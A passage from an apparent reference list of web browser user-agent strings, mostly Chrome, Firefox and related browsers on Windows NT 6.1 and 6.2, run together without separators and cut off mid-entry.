AppleWebKit/535.1 (KHTML, like Gecko) Iron/13.0.800.1 Chrome/13.0.800.1 Safari/535.1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Iron/16.0.950.0 Chrome/16.0.950.0 Safari/535.1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.801.0 Safari/535.1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.812.0 Safari/535.1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.815.10913 Safari/535.1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Iron/17.0.1000.0 Chrome/17.0.1000.0 Safari/535.11 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Iron/17.0.1000.2 Chrome/17.0.1000.2 Safari/535.11 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Iron/17.0.1000.0 Chrome/17.0.1000.0 Safari/535.11 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.861.0 Safari/535.2 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/18.6.872.0 Safari/535.2 UNTRUSTED/1.0 3gpp-gba UNTRUSTED/1.0 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.77 Safari/535.7ad-imcjapan-syosyaman-xkgi3lqg03!wgz Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.8 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.8 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1150.0 Iron/20.0.1150.0 Safari/536.11 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1150.1 Iron/20.0.1150.1 Safari/536.11 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1200.0 Iron/21.0.1200.0 Safari/537.1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.13 (KHTML, like Gecko) Chrome/24.0.1284.0 Safari/537.13 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.2 (KHTML, like Gecko) Chrome/22.0.1216.0 Safari/537.2 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.90 Safari/537.36 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.29 Safari/537.36 OPR/15.0.1147.24 (Edition Next) Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.71 (KHTML like Gecko) WebVideo/1.0.1.10 Version/7.0 Safari/537.71 Mozilla/5.0 (Windows NT 6.1.1; rv:5.0) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (Windows NT 6.1; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.01 Mozilla/5.0 (Windows NT 6.1; U; en-GB; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.64 Mozilla/5.0 (Windows NT 6.1; U; en-GB; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.51 Mozilla/5.0 (Windows NT 6.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Mozilla/5.0 (Windows NT 6.1; U; nl; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.01 Mozilla/5.0 (Windows NT 6.1; U; ru; rv:5.0.1.6) Gecko/20110501 Firefox/5.0.1 Firefox/5.0.1 Mozilla/5.0 (Windows NT 6.1; U; zh-cn; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Mozilla/5.0 (Windows NT 6.1; U;WOW64; de;rv:11.0) Gecko Firefox/11.0 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.12 Safari/534.24 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/12.0.702.0 Safari/534.24 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Iron/11.0.700.1 Chrome/11.0.700.1 Safari/534.24 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Iron/11.0.700.2 Chrome/11.0.700.2 Safari/534.24 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Iron/11.0.700.3 Chrome/11.0.700.3 Safari/534.24 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.56.283 Chrome/11.0.696.65 Safari/534.24 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.56.292 Chrome/11.0.696.68 Safari/534.24 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.56.310 Chrome/11.0.696.68 Safari/534.24 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.56.343 Chrome/11.0.696.71 Safari/534.24 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.56.357 Chrome/11.0.696.71 Safari/534.24 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.58.423 Chrome/11.0.696.71 Safari/534.24 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.58.478 Chrome/11.0.696.71 Safari/534.24 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.58.484 Chrome/11.0.696.71 Safari/534.24 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.58.494 Chrome/11.0.696.71 Safari/534.24 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.27 (KHTML, like Gecko) Chrome/12.0.712.0 Safari/534.27 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.53 Safari/534.30 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Comodo_Dragon/12.1.0.0 Chrome/12.0.742.91 Safari/534.30 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Iron/12.0.750.0 Chrome/12.0.750.0 Safari/534.30 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.34 (KHTML, like Gecko) Arora/0.11.0 Safari/534.34 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Iron/13.0.800.0 Chrome/13.0.800.0 Safari/535.1 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.810.0 Safari/535.1 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.811.0 Safari/535.1 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.813.0 Safari/535.1 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.814.0 Safari/535.1 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Iron/17.0.1000.0 Chrome/17.0.1000.0 Safari/535.11 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Iron/17.0.1000.1 Chrome/17.0.1000.1 Safari/535.11 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7xs5D9rRDFpg2g Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Iron/16.0.950.0 Chrome/16.0.950.0 Safari/535.7 [] Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.8 (KHTML, like Gecko) Beamrise/17.2.0.9 Chrome/17.0.939.0 Safari/535.8 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.8 (KHTML, like Gecko) Chrome/17.0.940.0 Safari/535.8 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1150.0 Iron/20.0.1150.0 Safari/536.11 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1150.1 Iron/20.0.1150.1 Safari/536.11 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML like Gecko) Maxthon/4.0.0.2000 Chrome/22.0.1229.79 Safari/537.1 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1200.0 Iron/21.0.1200.0 Safari/537.1 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1200.0 Iron/21.0.1200.0 Safari/537.1 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.60 Safari/537.17 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/28.0.1469.0 Safari/537.36 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.12 Safari/537.36 OPR/14.0.1116.4 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.62 Safari/537.36 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1623.0 Safari/537.36 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.76 Safari/537.36 OPR/19.0.1326.56 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36 OPR/20.0.1387.91 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.89 Vivaldi/1.0.94.2 Safari/537.36 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.174 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.4.6.1000 Chrome/30.0.1599.101 Safari/537.36 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1250.0 Iron/22.0.2150.0 Safari/537.4 Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Mozilla/5.0 (Windows NT 6.1; WOW64; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:11.0) Gecko Firefox/11.0 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20120422 Firefox/12.0 SeaMonkey/2.9 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.2.1) Gecko/20120616 Firefox/12.2.1 PaleMoon/12.2.1 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.2.1) Gecko/20120616 Firefox/13.0 PaleMoon/12.2.1 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.2.1) Gecko/20120616 Firefox/13.0.1 PaleMoon/12.2.1 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.3) Gecko/20120717 Firefox/12.3 PaleMoon/12.3 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.3) Gecko/20120728 Firefox/12.3r2 PaleMoon/12.3r2 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20120713 Thunderbird/14.0 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20120713 Thunderbird/14.0 Lightning/1.6 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20110929 Thunderbird/15.0 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120427 Firefox/15.0a1 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120819 Firefox/15.0 PaleMoon/15.0 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120826 Firefox/15.0 SeaMonkey/2.12 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120909 Firefox/15.0.1 SeaMonkey/2.12.1 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120911 Firefox/15.1 PaleMoon/15.1 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20120828 Thunderbird/16.0 Lightning/1.8b1 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20120830 Firefox/16.0 SeaMonkey/2.13 Lightning/1.8b1 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20121011 Firefox/16.0 SeaMonkey/2.13.1 Lightning/1.8 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0 SeaMonkey/2.16 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20110608 Firefox/4.0.1 SeaMonkey/2.1 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20110608 SeaMonkey/2.1 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b11pre) Gecko/20110128 Firefox/4.0b11pre Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b4pre) Gecko/20100815 Minefield/4.0b4pre Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b6pre) Gecko/20100903 Firefox/4.0b6pre Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b7) Gecko/20100101 Firefox/4.0b7 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b7) Gecko/20101111 Firefox/4.0b7 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b8) Gecko/20101221 Firefox/4.0b8 Fennec/4.0b3 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b8pre) Gecko/20101114 Firefox/4.0b8pre Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.1) Gecko/20110318 Firefox/4.0b13pre Fennec/4.0 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.1.1) Gecko/20110415 Firefox/4.0.2pre Fennec/4.0.1 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.2a1pre) Gecko/20110331 Firefox/4.2a1pre Fennec/4.1a1pre Mozilla/5.0 (Windows NT 6.1; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0 SeaMonkey/2.17 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20130330 Firefox/21.0 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20130331 Firefox/21.0 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20130401 Firefox/21.0 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20130406 Firefox/23.0 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.0 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.0.1 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20130401 Firefox/31.0 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20110624 Thunderbird/5.0 Lightning/1.0b4 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110612 Firefox/6.0a2 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110613 Firefox/6.0a2 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110622 Firefox/6.0a2 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20100101 Firefox/7.0.1 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0a1) Gecko/20110623 Firefox/7.0a1 Fennec/7.0a1 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:12.2) Gecko/20120606 Firefox/12.2-x64 PaleMoon/12.2-x64 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:12.2.1) Gecko/20120616 Firefox/12.2.1-x64 PaleMoon/12.2.1-x64 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:12.3) Gecko/20120714 Firefox/12.3-x64 PaleMoon/12.3-x64 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:14.0) Gecko/20120405 Firefox/14.0a1 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:15.0) Gecko/20120819 Firefox/15.0-x64 PaleMoon/15.0-x64 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:15.0) Gecko/20120912 Firefox/15.1-x64 PaleMoon/15.1-x64 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:15.0) Gecko/20120919 Firefox/15.1.1-x64 PaleMoon/15.1.1-x64 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:16.0.1) Gecko/20121011 Firefox/21.0.1 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b10pre) Gecko/20110118 Firefox/4.0b10pre Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b11pre) Gecko/20110128 Firefox/4.0b11pre Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b11pre) Gecko/20110129 Firefox/4.0b11pre Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b11pre) Gecko/20110131 Firefox/4.0b11pre Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101114 Firefox/4.0b8pre Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101128 Firefox/4.0b8pre Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101213 Firefox/4.0b8pre Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b9pre) Gecko/20101228 Firefox/4.0b9pre Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.2a1pre) Gecko/20110208 Firefox/4.2a1pre Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.2a1pre) Gecko/20110323 Firefox/4.2a1pre Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.2a1pre) Gecko/20110324 Firefox/4.2a1pre Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:22.0) Gecko/20130328 Firefox/22.0 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:23.0) Gecko/20131011 Firefox/23.0 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/29.0 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:35.0) Gecko/20100101 Firefox/35.0 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:5.0) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:5.0) Gecko/20110619 Firefox/5.0 Mozilla/5.0 (Windows NT 6.1; de;rv:12.0) Gecko/20120403211507 Firefox/12.0 Mozilla/5.0 (Windows NT 6.1; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.750.0 Safari/534.30 Mozilla/5.0 (Windows NT 6.1; rv:1.9) Gecko/20100101 Firefox/4.0 Mozilla/5.0 (Windows NT 6.1; rv:1.9.1.x) Gecko/20110606 SeaMonkey/2.x Firefox/5.0 Mozilla/5.0 (Windows NT 6.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1 Mozilla/5.0 (Windows NT 6.1; rv:11.0) Gecko/20120327 Thunderbird/11.0.1 Lightning/1.3 Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/ 20120405 Firefox/14.0.1 Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120403211507 Firefox/12.0 Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120403211507 Firefox/14.0.1 Mozilla/5.0 (Windows NT 6.1; rv:12.2.1) Gecko/20120616 Firefox/12.2.1 PaleMoon/12.2.1 Mozilla/5.0 (Windows NT 6.1; rv:12.3) Gecko/20120714 Firefox/12.3 PaleMoon/12.3 Mozilla/5.0 (Windows NT 6.1; rv:12.3) Gecko/20120717 Firefox/12.3 PaleMoon/12.3 Mozilla/5.0 (Windows NT 6.1; rv:12.3) Gecko/20120728 Firefox/12.3r2 PaleMoon/12.3r2 Mozilla/5.0 (Windows NT 6.1; rv:14.0) Gecko/20100101 Firefox/18.0.1 Mozilla/5.0 (Windows NT 6.1; rv:14.0) Gecko/20120405 Firefox/14.0a1 Mozilla/5.0 (Windows NT 6.1; rv:14.0) Gecko/20120715 Firefox/14.0.1 SeaMonkey/2.11 Lightning/1.6 Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20120716 Firefox/15.0a2 Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20120819 Firefox/15.0 PaleMoon/15.0 Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20120909 Firefox/15.0.1 SeaMonkey/2.12.1 Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20120911 Firefox/15.1 PaleMoon/15.1 Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20120919 Firefox/15.1.1 PaleMoon/15.1.1 Mozilla/5.0 (Windows NT 6.1; rv:16.0) Gecko/20121010 conkeror/1.0pre Mozilla/5.0 (Windows NT 6.1; rv:2.0) Gecko/20110319 Firefox/4.0 Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Mozilla/5.0 (Windows NT 6.1; rv:2.0b10) Gecko/20110126 Firefox/4.0b10 Mozilla/5.0 (Windows NT 6.1; rv:2.0b10pre) Gecko/20110113 Firefox/4.0b10pre Mozilla/5.0 (Windows NT 6.1; rv:2.0b11pre) Gecko/20110126 Firefox/4.0b11pre Mozilla/5.0 (Windows NT 6.1; rv:2.0b6pre) Gecko/20100903 Firefox/4.0b6pre Firefox/4.0b6pre Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre Mozilla/5.0 (Windows NT 6.1; rv:2.1) Gecko/20110318 Firefox/4.0b13pre Fennec/4.0 Mozilla/5.0 (Windows NT 6.1; rv:2.1.1) Gecko/20110415 Firefox/4.0.2pre Fennec/4.0.1 Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20100101 Firefox/21.0 Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20100101 Firefox/21.0 SeaMonkey/2.18a1 Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20130328 Firefox/21.0 Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20130401 Firefox/21.0 Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20130405 Firefox/22.0 Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3 Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20110624 Thunderbird/5.0 Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20100101 Firefox/19.0 Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20100101 Firefox/7.0 Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20110812 Thunderbird/6.0 Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20110814 Firefox/6.0 Mozilla/5.0 (Windows NT 6.1; rv:6.0.1) Gecko/20110830 Thunderbird/6.0.1 Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/20110929 Thunderbird/7.0.1 Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7 Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3 Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3 Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3 Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6 Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.26 Safari/537.11 Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.13 (KHTML, like Gecko) Chrome/24.0.1290.1 Safari/537.13 Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1464.0 Safari/537.36 Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1467.0 Safari/537.36 Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4 Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; NOKIA; Lumia 635) like Gecko Mozilla/5.0 (Windows NT 6.2; 